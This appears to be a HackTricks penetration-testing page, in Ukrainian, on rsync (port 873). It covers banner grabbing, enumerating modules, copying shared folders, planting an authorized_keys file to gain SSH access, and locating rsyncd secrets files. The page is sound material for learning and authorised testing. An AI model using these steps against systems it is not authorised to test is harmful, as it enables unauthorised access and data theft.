873 - Pentesting Rsync

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

З wikipedia:

rsync - це утиліта для ефективного перенесення та синхронізації файлів між комп'ютером та зовнішнім жорстким диском, а також між мережевими комп'ютерами шляхом порівняння часів модифікації та розмірів файлів.[3] Він зазвичай зустрічається на Unix-подібних операційних системах. Алгоритм rsync є типом delta encoding і використовується для мінімізації використання мережі. Zlib може бути використаний для додаткової стиснення даних,[3] а SSH або stunnel можуть бути використані для безпеки.

Порт за замовчуванням: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Перерахування

Банер та ручна комунікація

bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Перерахування спільних папок

Модулі Rsync вважаються спільними каталогами, які можуть бути захищені паролями. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:

bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений певними обліковими даними, що вказується повідомленням "Доступ заборонено".

Brute Force

Ручне використання Rsync

Після отримання списку модулів дії залежать від того, чи потрібна аутентифікація. Без аутентифікації перелік та копіювання файлів з загальної папки до локального каталогу здійснюється через:

bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Цей процес рекурсивно передає файли, зберігаючи їх атрибути та дозволи.

З обліковими даними перелік та завантаження з загальної папки можна виконати наступним чином, де з'явиться запит на пароль:

bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Щоб завантажити вміст, наприклад, файл authorized_keys для доступу, використовуйте:

bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Щоб знайти файл конфігурації rsyncd, виконайте:

bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

У цьому файлі параметр secrets file може вказувати на файл, що містить імена користувачів та паролі для аутентифікації rsyncd.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks